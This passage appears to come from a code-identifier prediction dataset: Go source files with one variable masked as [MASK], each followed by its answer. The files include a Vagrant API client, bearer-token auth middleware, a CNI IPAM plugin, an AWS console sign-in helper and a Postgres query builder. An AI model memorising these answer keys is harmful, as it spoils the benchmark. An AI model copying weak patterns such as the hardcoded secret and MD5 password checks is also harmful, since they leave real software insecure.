(m *Vagrant) WithVersion( ctx context.Context, // Box version to create versionArg string, ) (*Vagrant, error) { if m.Box == nil { return nil, fmt.Errorf(""Needs to be called after create-box."") } m.Box.Version = versionArg reader := strings.NewReader(m.Box.versionData()) // Check if box exists exists, err := m.getBox(ctx) if err != nil { return nil, err } // Box not created, exit if exists == nil { return nil, fmt.Errorf(""No exiting box found, create one with create-box"") } // Check if version exists exists, _ = m.getVersion(ctx) // Version created, continue if exists != nil { return exists, nil } request, err := http.NewRequestWithContext(ctx, http.MethodPost, m.Box.versionsEndpoint(), reader) if err != nil { return nil, err } request.Header = m.setHeaders() response, err := http.DefaultClient.Do(request) if err != nil { return nil, err } if response.StatusCode != http.StatusOK { return nil, fmt.Errorf(""Got a failing response for %s: %s."", m.Box.versionsEndpoint(), response.Status) } m.Response = fmt.Sprintf(""%v"", response) return m, nil } // Creates a new box version provider func (m *Vagrant) WithProvider( ctx context.Context, // Box provider to create. E.g. virtualbox providerArg, // Box architecture to use. E.g. amd64 [MASK] string, ) (*Vagrant, error) { if m.Box == nil { return nil, fmt.Errorf(""Needs to be called after create-box."") } m.Box.Provider = providerArg m.Box.Architecture = [MASK] reader := strings.NewReader(m.Box.providerData()) // Check if box exists exists, err := m.getBox(ctx) if err != nil { return nil, err } // Box not created, exit if exists == nil { return nil, fmt.Errorf(""No exiting box found, create one with create-box"") } // Check if version exists exists, err = m.getVersion(ctx) if err != nil { return nil, err } // Version not created, exit if exists == nil { return nil, fmt.Errorf(""No exiting version found, create one with create-box with-version"") } // Check if provider exists exists, _ = m.getProvider(ctx) // Provider created, continue if exists != nil { return exists, nil } request, err := http.NewRequestWithContext(ctx, http.MethodPost, m.Box.providersEndpoint(), reader) if err != nil { return nil, err } request.Header = m.setHeaders() response, err := http.DefaultClient.Do(request) if err != nil { return nil, err } if response.StatusCode != http.StatusOK { return nil, fmt.Errorf(""Got a failing response for %s: %s."", m.Box.providersEndpoint(), response.Status) } m.Response = fmt.Sprintf(""%v"", response) return m, nil } // Generates an upload url from a provider func (m *Vagrant) Upload(ctx context.Context) (string, error) { if m.Box == nil { return """", fmt.Errorf(""Needs to be called after create-box."") } // Check if box exists exists, err := m.getBox(ctx) if err != nil { return """", err } // Box not created, exit if exists == nil { return """", fmt.Errorf(""No exiting box found, create one with create-box"") } // Get upload path upload, err := m.getUpload(ctx) if err != nil { return """", err } return upload.Path, nil } // Prints last http response func (m *Vagrant) Debug(ctx context.Context) string { return m.Response } ",architectureArg 565,"/* ------------------------------------------------- Author : date: 2019/9/25 Description : ------------------------------------------------- */ package zauth_bearer import ( ""crypto/md5"" ""encoding/hex"" ""fmt"" ""github.com/kataras/iris"" ""github.com/zlyuancn/zerrors"" ""strings"" ""time"" ) const ( DefaultHeadersAuthField = ""Authorization"" DefaultTokenPrefix = ""Bearer "" DefaultTokenPrefixLower = ""bearer "" ) var ( DefaultSecret = []byte(""zauth-bearer_secret"") DefaultTTL time.Duration = 600e9 ) type AuthBearer struct { secret []byte // 秘钥, 它影响jwt的token生成 userlist map[string]string // 用户列表 ttl time.Duration // 存活时间纳秒, 默认为600e9 keepAlive bool // 自动续期, 默认为true authOkMsg func(token string) string // 通过认证后返回一个消息 authErrMsg func(err error) string // 认证失败后返回一个消息 } func New(opts ...Option) *AuthBearer { a := &AuthBearer{ secret: DefaultSecret, userlist: map[string]string{}, ttl: DefaultTTL, keepAlive: true, authOkMsg: authOkHandler, authErrMsg: authErrHandler, } for _, o := range opts { o(a) } return a } // 认证, 它返回一个iris的Handler // // 客户端需要传入一个 json 格式的 body 用于验证, 如: {""user"":""username"",""pwd"":""""} // 一旦认证通过, 会生成一个认证信息头并返回给客户端, 如: Authorization: Bearer token func (m *AuthBearer) Authentication() func(iris.Context) { return func(ctx iris.Context) { u := new(User) err := ctx.ReadJSON(u) if err != nil { msg := m.authErrMsg(zerrors.Wrap(err, ""无法解析传入的认证数据"")) _, _ = ctx.WriteString(msg) return } pwd, ok := m.userlist[u.User] if !ok || u.Pwd != Md5(pwd) { msg := m.authErrMsg(zerrors.New(""用户名或密码错误"")) _, _ = ctx.WriteString(msg) return } o := NewJWT(u.User) o.SetExpires(m.ttl) jwt, err := o.GetString(m.secret) if err != nil { msg := m.authErrMsg(zerrors.Wrap(err, ""无法创建认证数据"")) _, _ = ctx.WriteString(msg) return } msg := m.authOkMsg(jwt) ctx.Header(DefaultHeadersAuthField, fmt.Sprintf(""%s%s"", DefaultTokenPrefix, jwt)) _, _ = ctx.WriteString(msg) return } } // 鉴权, 它返回一个iris的中间件用于要求用户必须登录 // // 客户端必须将鉴权信息放在 header 的 Authorization 字段中 // 如 Authorization: Bearer token // 如果鉴权成功, 会生成一个新的认证信息头并返回给客户端, 如: Authorization: Bearer token func (m *AuthBearer) MustAuth() func(iris.Context) { return func(ctx iris.Context) { [MASK] := ctx.GetHeader(""Authorization"") if i := strings.Index( [MASK] , DefaultTokenPrefix); i != 0 { if i := strings.Index( [MASK] , DefaultTokenPrefixLower); i != 0 { msg := m.authErrMsg(zerrors.New(""token协议错误"")) _, _ = ctx.WriteString(msg) return } } jwt := [MASK] [len(DefaultTokenPrefix):] o := new(JWTData) err := o.ParserString(jwt, m.secret) if err != nil { msg := m.authErrMsg(zerrors.Wrap(err, ""token鉴权失败"")) _, _ = ctx.WriteString(msg) return } _, ok := m.userlist[o.User] if !ok { msg := m.authErrMsg(zerrors.New(""用户不存在"")) _, _ = ctx.WriteString(msg) return } if m.keepAlive { o.SetExpires(m.ttl) } jwt, err = o.GetString(m.secret) if err != nil { msg := m.authErrMsg(zerrors.Wrap(err, ""无法创建新的认证数据"")) _, _ = ctx.WriteString(msg) return } ctx.Header(DefaultHeadersAuthField, fmt.Sprintf(""%s%s"", DefaultTokenPrefix, jwt)) ctx.Next() } } func Md5(text string) string { m := md5.New() m.Write([]byte(text)) return hex.EncodeToString(m.Sum(nil)) } ",authText 566,"package cmd import ( ""context"" ""goframe-xinfeng/internal/controller"" ""github.com/gogf/gf/v2/frame/g"" ""github.com/gogf/gf/v2/net/ghttp"" ""github.com/gogf/gf/v2/net/goai"" ""github.com/gogf/gf/v2/os/gcmd"" ""github.com/gogf/gf/v2/util/gmode"" ""goframe-xinfeng/utility/response"" ) var ( Main = gcmd.Command{ Name: ""main"", Usage: ""main"", Brief: ""start focus server"", Func: func(ctx context.Context, parser *gcmd.Parser) (err error) { var ( s = g.Server() oai = s.GetOpenApi() ) // OpenApi自定义信息 oai.Info.Title = `API Reference` oai.Config.CommonResponse = response.JsonRes{} oai.Config.CommonResponseDataField = `Data` // HOOK, 开发阶段禁止浏览器缓存,方便调试 if gmode.IsDevelop() { s.BindHookHandler(""/*"", ghttp.HookBeforeServe, func(r *ghttp.Request) { r.Response.Header().Set(""Cache-Control"", ""no-store"") }) } s.Group(""/"", func(group *ghttp.RouterGroup) { group.Middleware() group.Bind( controller.Rotation, // 轮播图 ) // 权限控制路由 group.Group(""/"", func(group *ghttp.RouterGroup) { }) }) // 自定义丰富文档 enhanceOpenAPIDoc(s) // 启动Http Server s.Run() return }, } ) func enhanceOpenAPIDoc(s *ghttp.Server) { [MASK] := s.GetOpenApi() [MASK] .Config.CommonResponse = ghttp.DefaultHandlerResponse{} [MASK] .Config.CommonResponseDataField = `Data` // API description. [MASK] .Info.Title = `Focus Project` [MASK] .Info.Description = `` // Sort the tags in custom sequence. [MASK] .Tags = &goai.Tags{ // {Name: consts.OpenAPITagNameIndex}, // {Name: consts.OpenAPITagNameLogin}, // {Name: consts.OpenAPITagNameRegister}, // {Name: consts.OpenAPITagNameArticle}, // {Name: consts.OpenAPITagNameTopic}, // {Name: consts.OpenAPITagNameAsk}, // {Name: consts.OpenAPITagNameReply}, // {Name: consts.OpenAPITagNameContent}, // {Name: consts.OpenAPITagNameSearch}, // {Name: consts.OpenAPITagNameInteract}, // {Name: consts.OpenAPITagNameCategory}, // {Name: consts.OpenAPITagNameProfile}, // {Name: consts.OpenAPITagNameUser}, // {Name: consts.OpenAPITagNameMess}, } } ",openapi 567,"package api import ( ""annotate-x/models"" ""annotate-x/service"" ""annotate-x/utils"" ""strconv"" ""github.com/gin-gonic/gin"" ) type AuthHandler struct { AuthService service.IAuthService } func RegisterAuthRouters(rg *gin.RouterGroup, authService service.IAuthService) { handler := &AuthHandler{authService} group := rg.Group(""/auth"") group.POST(""/login"", handler.login) group.POST(""/logout"", handler.logout) } func (h *AuthHandler) login(c *gin.Context) { var req models.LoginRequest if err := c.ShouldBindJSON(&req); err != nil { utils.BadRequest(c, err.Error()) return } user, token, err := h.AuthService.Login(c.Request.Context(), req.Username, req.Password) if err != nil || !user.IsActive { utils.Unauthorized(c, err.Error()) return } userResp := models.UserResponse{ ID: user.ID, Username: user.Username, DisplayName: user.DisplayName, Email: user.Email, CreatedAt: user.CreatedAt, UpdatedAt: user.UpdatedAt, } utils.OK(c, gin.H{ ""token"": token, ""user"": userResp, }) } func (h *AuthHandler) logout(c *gin.Context) { userId, err := strconv.ParseInt(c.GetHeader(models.XUserID), 10, 64) if err != nil { utils.Unauthorized(c, ""Invalid Bearer Token"") return } [MASK] , err := utils.UnixStringToTime(c.GetHeader(models.XExpiresAt)) if err != nil { utils.Unauthorized(c, ""Invalid Bearer Token"") return } err = h.AuthService.Logout(c.Request.Context(), userId, [MASK] ) if err != nil { utils.InternalServerError(c, err.Error()) return } utils.OK(c, gin.H{}) } ",expiration 568,"// Copyright 2015 CNI authors // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package main import ( ""encoding/json"" ""fmt"" ""log"" ""net"" ""os"" ""strings"" bv ""github.com/containernetworking/plugins/pkg/utils/buildversion"" ""github.com/containernetworking/plugins/plugins/ipam/host-local/backend/allocator"" ""github.com/containernetworking/plugins/plugins/ipam/host-local/backend/disk"" ""github.com/containernetworking/cni/pkg/skel"" ""github.com/containernetworking/cni/pkg/types"" ""github.com/containernetworking/cni/pkg/types/current"" ""github.com/containernetworking/cni/pkg/version"" ) const ( AddLocalHostLog = ""/var/log/add_local_host.log"" DelLocalHostLog = ""/var/log/del_local_host.log"" ) var DebugLog *log.Logger func main() { skel.PluginMain(cmdAdd, cmdCheck, cmdDel, version.All, bv.BuildString(""host-local"")) } func loadNetConf( [MASK] []byte) (*types.NetConf, string, error) { n := &types.NetConf{} if err := json.Unmarshal( [MASK] , n); err != nil { return nil, """", fmt.Errorf(""failed to load netconf: %v"", err) } return n, n.CNIVersion, nil } func cmdCheck(args *skel.CmdArgs) error { ipamConf, _, err := allocator.LoadIPAMConfig(args.StdinData, args.Args) if err != nil { return err } // Look to see if there is at least one IP address allocated to the container // in the data dir, irrespective of what that address actually is store, err := disk.New(ipamConf.Name, ipamConf.DataDir) if err != nil { return err } defer store.Close() containerIpFound := store.FindByID(args.ContainerID, args.IfName) if containerIpFound == false { return fmt.Errorf(""host-local: Failed to find address added by container %v"", args.ContainerID) } return nil } func cmdAdd(args *skel.CmdArgs) error { fileName := AddLocalHostLog logFile, err := os.OpenFile(fileName, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) if err != nil { logFile, err = os.Create(fileName) } defer logFile.Close() DebugLog = log.New(logFile, ""[Debug]"", log.LstdFlags) log.SetFlags(log.LstdFlags | log.Lshortfile) DebugLog.Println(""read input from ContainerID:"", args.ContainerID) DebugLog.Println(""read input from Netns:"", args.Netns) DebugLog.Println(""read input from IfName:"", args.IfName) DebugLog.Println(""read input from Args:"", args.Args) DebugLog.Println(""read input from Path:"", args.Path) DebugLog.Println(""read input from StdinData:"", string(args.StdinData)) ipamConf, confVersion, err := allocator.LoadIPAMConfig(args.StdinData, args.Args) if err != nil { return err } DebugLog.Println(""allocator.LoadIPAMConfig confVersion"", confVersion) DebugLog.Println(""allocator.LoadIPAMConfig IPAMConfig"", *ipamConf) result := ¤t.Result{} if ipamConf.ResolvConf != """" { DebugLog.Println("" ipamConf.ResolvConf != \""\"" "") dns, err := parseResolvConf(ipamConf.ResolvConf) if err != nil { return err } result.DNS = *dns } DebugLog.Println(""disk.New "", ipamConf.Name, ""datadir:"", ipamConf.DataDir) store, err := disk.New(ipamConf.Name, ipamConf.DataDir) if err != nil { return err } defer store.Close() // Keep the allocators we used, so we can release all IPs if an error // occurs after we start allocating allocs := []*allocator.IPAllocator{} // Store all requested IPs in a map, so we can easily remove ones we use // and error if some remain requestedIPs := map[string]net.IP{} //net.IP cannot be a key for _, ip := range ipamConf.IPArgs { requestedIPs[ip.String()] = ip DebugLog.Println(""for _, ip := range ipamConf.IPArgs "", ip.String(), "" ip"", ip) } for idx, rangeset := range ipamConf.Ranges { allocator := allocator.NewIPAllocator(&rangeset, store, idx) // Check to see if there are any custom IPs requested in this range. var requestedIP net.IP for k, ip := range requestedIPs { if rangeset.Contains(ip) { requestedIP = ip delete(requestedIPs, k) break } } ipConf, err := allocator.Get(args.ContainerID, args.IfName, requestedIP) if err != nil { // Deallocate all already allocated IPs for _, alloc := range allocs { _ = alloc.Release(args.ContainerID, args.IfName) } return fmt.Errorf(""failed to allocate for range %d: %v"", idx, err) } allocs = append(allocs, allocator) result.IPs = append(result.IPs, ipConf) } // If an IP was requested that wasn't fulfilled, fail if len(requestedIPs) != 0 { for _, alloc := range allocs { _ = alloc.Release(args.ContainerID, args.IfName) } errstr := ""failed to allocate all requested IPs:"" for _, ip := range requestedIPs { errstr = errstr + "" "" + ip.String() } return fmt.Errorf(errstr) } result.Routes = ipamConf.Routes /* type Result struct { CNIVersion string `json:""cniVersion,omitempty""` Interfaces []*Interface `json:""interfaces,omitempty""` IPs []*IPConfig `json:""ips,omitempty""` Routes []*types.Route `json:""routes,omitempty""` DNS types.DNS `json:""dns,omitempty""` } */ newResult, err := result.GetAsVersion(confVersion) if err != nil { return err } //types.xxx DebugLog.Println(""newResult "", newResult.String()) return types.PrintResult(result, confVersion) } func cmdDel(args *skel.CmdArgs) error { fileName := DelLocalHostLog logFile, err := os.OpenFile(fileName, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) if err != nil { logFile, err = os.Create(fileName) } defer logFile.Close() DebugLog = log.New(logFile, ""[Debug]"", log.LstdFlags) log.SetFlags(log.LstdFlags | log.Lshortfile) ipamConf, _, err := allocator.LoadIPAMConfig(args.StdinData, args.Args) if err != nil { return err } store, err := disk.New(ipamConf.Name, ipamConf.DataDir) if err != nil { return err } defer store.Close() // Loop through all ranges, releasing all IPs, even if an error occurs var errors []string for idx, rangeset := range ipamConf.Ranges { ipAllocator := allocator.NewIPAllocator(&rangeset, store, idx) err := ipAllocator.Release(args.ContainerID, args.IfName) if err != nil { errors = append(errors, err.Error()) } } if errors != nil { return fmt.Errorf(strings.Join(errors, "";"")) } return nil } ",bytes 569,"// Package console provides short-lived (scoped based) token/url for AWS console package console import ( ""encoding/json"" ""errors"" ""fmt"" ""github.com/aws/aws-sdk-go/aws"" ""io/ioutil"" ""net/http"" ""net/url"" ""time"" ""github.com/aws/aws-sdk-go/aws/session"" ""github.com/aws/aws-sdk-go/service/sts"" ""github.com/aws/aws-sdk-go/service/sts/stsiface"" ) // Console provides the API operation methods for getting sign-in Token type Console struct { STS stsiface.STSAPI Client HTTPClient } // New creates a new instance of the Console Client with a session. // // Example: // mySession := session.Must(session.NewSession()) // // // Create a Console Client from just a session. // con := console.New(mySession) func New(sess *session.Session) *Console { return &Console{ STS: sts.New(sess), Client: http.DefaultClient, } } // ErrInvalidToken indicates the token value is empty or is expired var ErrInvalidToken = errors.New(""invalid token"") // HTTPClient minimal interface for an HTTP client type HTTPClient interface { Do(req *http.Request) (*http.Response, error) } // Token contains the sign-in token for AWS console access type Token struct { Value string `json:""SigninToken""` ExpiresAt time.Time `json:""-""` } // credentials used as payload for getting sign-in token type credentials struct { SessionID string `json:""sessionId""` SessionKey string `json:""sessionKey""` SessionToken string `json:""sessionToken""` } // IsValid validates a given token func (t *Token) IsValid() bool { if t.Value != """" && !t.ExpiresAt.IsZero() && t.ExpiresAt.After(time.Now()) { return true } return false } // SignInURL returns the URL with a valid token, can be opened directly in the browser // dst is the AWS console location to be opened e.g https://console.aws.amazon.com/sns func (t *Token) SignInURL(dst string) (*url.URL, error) { if !t.IsValid() { return nil, ErrInvalidToken } if _, err := url.ParseRequestURI(dst); err != nil { return nil, fmt.Errorf(""invalid destination: %w"", err) } rawUrl := fmt.Sprintf( ""https://signin.aws.amazon.com/federation?Action=login&Destination=%s&SigninToken=%s"", url.QueryEscape(dst), t.Value, ) [MASK] , err := url.ParseRequestURI(rawUrl) if err != nil { return nil, fmt.Errorf(""invalid sign-in url: %w"", err) } return [MASK] , nil } // SignInTokenWithArn gets token from AWS API via GetFederationToken // name is the name for AWS console user // arn is the managed permission ARN for AWS console user func (c *Console) SignInTokenWithArn(name, arn string) (*Token, error) { input := sts.GetFederationTokenInput{ Name: aws.String(name), PolicyArns: []*sts.PolicyDescriptorType{{Arn: aws.String(arn)}}, } return c.signInToken(input) } // signInToken returns token against given credentials func (c *Console) signInToken(input sts.GetFederationTokenInput) (*Token, error) { output, err := c.STS.GetFederationToken(&input) if err != nil { return nil, fmt.Errorf(""getting federation token: %w"", err) } cred := credentials{ *output.Credentials.AccessKeyId, *output.Credentials.SecretAccessKey, *output.Credentials.SessionToken, } data, err := json.Marshal(cred) if err != nil { return nil, fmt.Errorf(""marshalling session credentials: %w"", err) } tokenRequestEndpoint := fmt.Sprintf( ""https://signin.aws.amazon.com/federation?Action=getSigninToken&Session=%s"", url.QueryEscape(string(data)), ) tokenRequest, err := http.NewRequest(http.MethodGet, tokenRequestEndpoint, nil) if err != nil { return nil, fmt.Errorf(""creating http request: %w"", err) } tokenResponse, err := c.Client.Do(tokenRequest) defer tokenResponse.Body.Close() if err != nil { return nil, fmt.Errorf(""getting token response: %w"", err) } tokenResponseBody, err := ioutil.ReadAll(tokenResponse.Body) if err != nil { return nil, fmt.Errorf(""reading token resposne: %w"", err) } token := Token{ExpiresAt: time.Now().Add(time.Minute * 15)} err = json.Unmarshal(tokenResponseBody, &token) if err != nil { return nil, fmt.Errorf(""unmarshalling token: %w"", err) } return &token, nil } ",signInUrl 570,"package tmp import ( ""encoding/json"" ""errors"" ""io/ioutil"" ""os"" ""path/filepath"" ) type Store struct { FileName string // json file name in tmp folder } func (s *Store) Get(data *map[string]string) error { if tmp_file, err := getFilePath(s.FileName); err == nil { if file, err := ioutil.ReadFile(tmp_file); err == nil { _ = json.Unmarshal([]byte(file), data) } else { return err } } else { return err } return nil } func (s *Store) Set(data map[string]string) { if tmp_file, err := getFilePath(s.FileName); err == nil { file, _ := json.MarshalIndent(data, """", "" "") _ = ioutil.WriteFile(tmp_file, file, 0666) } } func getFilePath(jsonFileName string) (string, error) { [MASK] := ""/tmp"" if _, err := os.Stat( [MASK] ); errors.Is(err, os.ErrNotExist) { home, _ := os.UserHomeDir() [MASK] = filepath.Join(home, ""tmp"") } tmp_file := filepath.Join( [MASK] , jsonFileName) if _, err := os.Stat(tmp_file); errors.Is(err, os.ErrNotExist) { d1 := []byte(""{}"") err := os.WriteFile(tmp_file, d1, 0666) return tmp_file, err } return tmp_file, nil } ",tmp_folder 571,"package sql import ( ""bytes"" ""context"" ""database/sql"" ""encoding/json"" ""fmt"" _ ""github.com/lib/pq"" ""os"" ""reflect"" ""strconv"" ""strings"" ""time"" ) type Pg struct { db *sql.DB table *PgTable query *PgQuery dsn bytes.Buffer *meta } type meta struct { dbName string tableName string fields string where []*storage sort bytes.Buffer limit int64 offset int64 group string retryTimes int storageCursor int filler []interface{} ctx context.Context } type storage struct { storageType storageType bucket string argc []interface{} } type storageType int const ( storageTypeWhereAnd storageType = 1 storageTypeWhereOr storageType = 2 storageTypeSaveData storageType = 3 ) type opType int const ( opTypeQuery opType = 1 opTypeCount opType = 2 opTypeSum opType = 3 opTypeAvg opType = 4 opTypeCreate opType = 5 opTypeDelete opType = 6 opTypeSave opType = 7 opTypeSaveInt opType = 8 opTypeSaveDec opType = 9 ) //NewPg is used to create postgres connection //dsn1: ""postgres://pqgotest:password@localhost/pqgotest?sslmode=verify-full"" //dsn2: ""port=5433 user=postgres password= dbname=ficow sslmode=disable"" //dsn1 is used here func NewPg(user, pass, server, dbName, sslMode string) SQL { pg := &Pg{meta: &meta{}} pg.dsn.WriteString(`postgres://`) pg.dsn.WriteString(user) pg.dsn.WriteString("":"") pg.dsn.WriteString(pass) pg.dsn.WriteString(""@"") pg.dsn.WriteString(server) pg.dsn.WriteString(""/"") pg.dsn.WriteString(dbName) pg.dsn.WriteString(""?sslmode="") pg.dsn.WriteString(sslMode) return pg.initialize() } func (p *Pg) initialize() SQL { var err error if p.db, err = sql.Open(""postgres"", p.dsn.String()); err != nil { fmt.Printf(""postgres:\t%s\n"", err.Error()) p.retry(p.initialize, 3, 5) } if err = p.db.Ping(); err != nil { fmt.Printf(""postgres:\t%s\n"", err.Error()) p.retry(p.initialize, 3, 5) } //if u want to reset ""maxLifeTime"",""maxOpenConns"",""maxIdleConns"",please use it like this: p.Db().SetConnMaxLifetime(...) p.db.SetConnMaxLifetime(time.Minute * 3) p.db.SetMaxOpenConns(10) p.db.SetMaxIdleConns(10) p.table = &PgTable{Pg: p} p.query = &PgQuery{Pg: p} return p } func (p *Pg) retry(f func() SQL, times, sleep int) SQL { if p.retryTimes < times { p.retryTimes++ fmt.Printf(""Retry\t(%d/3) times after 5 seconds\n"", p.retryTimes) time.Sleep(time.Duration(sleep) * time.Second) f() } else { fmt.Println(""can't connect to postgres"") os.Exit(0) } return p } func (p *Pg) Conn() *sql.DB { return p.db } func (p *Pg) Table(tableName string) Table { p.tableName = tableName p.fields = ""*"" p.ctx = context.Background() return p.table } func (p *Pg) clear() { p.meta = &meta{} } type PgTable struct { *Pg } func (p *PgTable) Select(fields string) Table { p.fields = fields return p.table } func (p *PgTable) Where(where string, argc ...interface{}) Table { p.where = append(p.where, &storage{ storageType: storageTypeWhereAnd, bucket: where, argc: argc, }) return p } func (p *PgTable) WhereOr(where string, argc ...interface{}) Table { p.where = append(p.where, &storage{ storageType: storageTypeWhereOr, bucket: where, argc: argc, }) return p } func (p *PgTable) Sort(filed string, sortBy string) Query { p.sort.Reset() p.sort.WriteString("" ORDER BY "") p.sort.WriteString(filed) p.sort.WriteString("" "") p.sort.WriteString(sortBy) return p.query } func (p *PgTable) Offset(offset int64) Query { p.offset = offset return p.query } func (p *PgTable) Limit(limit int64) Query { p.limit = limit return p.query } func (p *PgTable) Group(group string) Query { p.group = group return p.query } func (p *PgTable) Find(dest interface{}) error { sql := p.parseSQL(opTypeQuery) defer p.clear() stmt, err := p.db.PrepareContext(p.ctx, sql.String()) if err != nil { return fmt.Errorf(""find:prepare sql error:%w"", err) } row, err := stmt.QueryContext(p.ctx, p.filler...) if err != nil { return fmt.Errorf(""find:query context:%w"", err) } columns, err := row.Columns() if err != nil { return err } isSlice, err := p.checkIsSlice(dest) if err != nil { return fmt.Errorf(""find:%w"", err) } receiver := make([]interface{}, len(columns)) var destFieldLen int var metaElem interface{} if isSlice { destType := reflect.Indirect(reflect.ValueOf(dest)).Type() valueElem := reflect.New(destType.Elem()) metaElem = reflect.New(destType.Elem()).Interface() destFieldLen = valueElem.Elem().NumField() } else { destFieldLen = reflect.TypeOf(dest).Elem().NumField() metaElem = dest } var [MASK] = make(map[string]int) for i, column := range columns { var tmp string receiver[i] = &tmp [MASK] [column] = i } for i := 0; i < destFieldLen; i++ { obj := reflect.TypeOf(metaElem).Elem().Field(i) tag := obj.Tag.Get(""json"") if tag == """" { tag = obj.Name } receiverIdx, findOK := [MASK] [tag] if !findOK { continue } fieldType := reflect.ValueOf(metaElem).Elem().Field(i).Type().String() switch fieldType { case ""int"", ""uint"", ""int8"", ""int16"", ""int32"", ""int64"", ""uint8"", ""uint16"", ""uint32"", ""uint64"": var intMeta int64 receiver[receiverIdx] = &intMeta case ""float32"", ""float64"": var floatMeta float64 receiver[receiverIdx] = &floatMeta case ""time.Time"": var timeMeta = time.Time{} receiver[receiverIdx] = &timeMeta case ""*time.Time"": var timeMeta = &time.Time{} receiver[receiverIdx] = &timeMeta case ""*string"": var strMeta string tmp := &strMeta receiver[receiverIdx] = &tmp case ""bool"": var boolMeta bool receiver[receiverIdx] = &boolMeta default: var strMeta string receiver[receiverIdx] = &strMeta } } var out = reflect.Indirect(reflect.ValueOf(dest)) for row.Next() { err = row.Scan(receiver...) if err != nil { return fmt.Errorf(""find:scan record error:%w"", err) } packJson := map[string]interface{}{} for key, idx := range [MASK] { packJson[key] = receiver[idx] } jsonByte, err := json.Marshal(packJson) if err != nil { return fmt.Errorf(""find:json marshal error:%w"", err) } if !isSlice { if err := json.Unmarshal(jsonByte, dest); err != nil { return fmt.Errorf(""find:json unmarshal error:%w"", err) } return nil } if err := json.Unmarshal(jsonByte, metaElem); err != nil { return fmt.Errorf(""find:json unmarshal error:%w"", err) } out = reflect.Append(out, reflect.ValueOf(metaElem).Elem()) } reflect.ValueOf(dest).Elem().Set(reflect.ValueOf(out.Interface())) return nil } func (p *PgTable) Count(count *int64) error { if p.fields == ""*"" { p.fields = ""COUNT(*)"" } sql := p.parseSQL(opTypeCount) defer p.clear() stmt, err := p.db.PrepareContext(p.ctx, sql.String()) if err != nil { return fmt.Errorf(""count:prepare sql error:%w"", err) } if err = stmt.QueryRowContext(p.ctx, p.filler...).Scan(count); err != nil { return fmt.Errorf(""count:query row context error:%w"", err) } return nil } func (p *PgTable) Sum(sum *int64) error { if p.fields == ""*"" { return fmt.Errorf(""sum:please use 'Select(fieldName)' to set the sum field"") } sql := p.parseSQL(opTypeSum) defer p.clear() stmt, err := p.db.PrepareContext(p.ctx, sql.String()) if err != nil { return fmt.Errorf(""sum:prepare sql error:%w"", err) } if err = stmt.QueryRowContext(p.ctx, p.filler...).Scan(sum); err != nil { return fmt.Errorf(""sum:query row context error:%w"", err) } return nil } func (p *PgTable) Avg(avg *int64) error { if p.fields == ""*"" { return fmt.Errorf(""avg:please use 'Select(fieldName)' to set the avg field"") } sql := p.parseSQL(opTypeSum) defer p.clear() stmt, err := p.db.PrepareContext(p.ctx, sql.String()) if err != nil { return fmt.Errorf(""avg:prepare sql error:%w"", err) } if err = stmt.QueryRowContext(p.ctx, p.filler...).Scan(avg); err != nil { return fmt.Errorf(""avg:query row context error:%w"", err) } return nil } func (p *PgTable) Update(dest interface{}) error { sql := p.parseSQL(opTypeSave) defer p.clear() isMap, err := p.checkUpdateType(dest) if err != nil { fmt.Errorf(""update:%w"", err) } var fieldList, valueList []string var updateNum = p.storageCursor if isMap { m := reflect.ValueOf(dest).Elem() ranger := m.MapRange() for ranger.Next() { updateNum++ key := ranger.Key().Interface() value := ranger.Value().Interface() if realKey, ok := key.(string); ok { fieldList = append(fieldList, fmt.Sprintf(""\""%s\"""", realKey)) } valueList = append(valueList, fmt.Sprintf(""$%d"", updateNum)) p.filler = append(p.filler, value) } } else { var curRowsNum int rowsNum := reflect.TypeOf(dest).Elem().NumField() for curRowsNum < rowsNum { updateNum++ obj := reflect.TypeOf(dest).Elem().Field(curRowsNum) jsonName := obj.Tag.Get(""json"") if jsonName == """" { jsonName = obj.Name } if isPri := obj.Tag.Get(""pri""); isPri != """" { updateNum-- } else { fieldList = append(fieldList, jsonName) p.filler = append(p.filler, reflect.ValueOf(dest).Elem().Field(curRowsNum).Interface()) valueList = append(valueList, fmt.Sprintf(""$%d"", updateNum)) } curRowsNum++ } } sqlStr := strings.ReplaceAll(sql.String(), ""$FIELDS"", fmt.Sprintf(""(%s)"", strings.Join(fieldList, "",""))) sqlStr = strings.ReplaceAll(sqlStr, ""$VALUES"", fmt.Sprintf(""(%s)"", strings.Join(valueList, "",""))) stmt, err := p.db.PrepareContext(p.ctx, sqlStr) if err != nil { return fmt.Errorf(""update:prepare sql error:%w"", err) } if _, err = stmt.ExecContext(p.ctx, p.filler...); err != nil { return fmt.Errorf(""update:exec context:%w"", err) } return nil } func (p *PgTable) Save(dest interface{}) error { sql := p.parseSQL(opTypeCreate) defer p.clear() isSlice, err := p.checkIsSlice(dest) if err != nil { fmt.Errorf(""save:%w"", err) } var metaElem interface{} var rowsNum int var columnsNum = 1 if isSlice { columnsNum = reflect.ValueOf(dest).Elem().Len() destType := reflect.Indirect(reflect.ValueOf(dest)).Type() valueElem := reflect.New(destType.Elem()) metaElem = valueElem.Interface() rowsNum = valueElem.Elem().NumField() } else { rowsNum = reflect.TypeOf(dest).Elem().NumField() metaElem = dest } var curColumnsNum, insertNum int var fieldList, valueList []string var insertArgs []interface{} for curColumnsNum < columnsNum { var curRowsNum int var curValueList []string for curRowsNum < rowsNum { insertNum++ if isSlice { sliceElem := reflect.ValueOf(dest).Elem().Index(curColumnsNum).Addr().Interface() metaElem = sliceElem } obj := reflect.TypeOf(metaElem).Elem().Field(curRowsNum) jsonName := obj.Tag.Get(""json"") if jsonName == """" { jsonName = obj.Name } if curColumnsNum == 0 { fieldList = append(fieldList, jsonName) } if isPri := obj.Tag.Get(""pri""); isPri != """" { curValueList = append(curValueList, ""DEFAULT"") insertNum-- } else { insertArgs = append(insertArgs, reflect.ValueOf(metaElem).Elem().Field(curRowsNum).Interface()) curValueList = append(curValueList, fmt.Sprintf(""$%d"", insertNum)) } curRowsNum++ } valueList = append(valueList, strings.Join(curValueList, "","")) curColumnsNum++ } sqlStr := strings.ReplaceAll(sql.String(), ""$FIELDS"", fmt.Sprintf(""(%s)"", strings.Join(fieldList, "",""))) sqlStr = 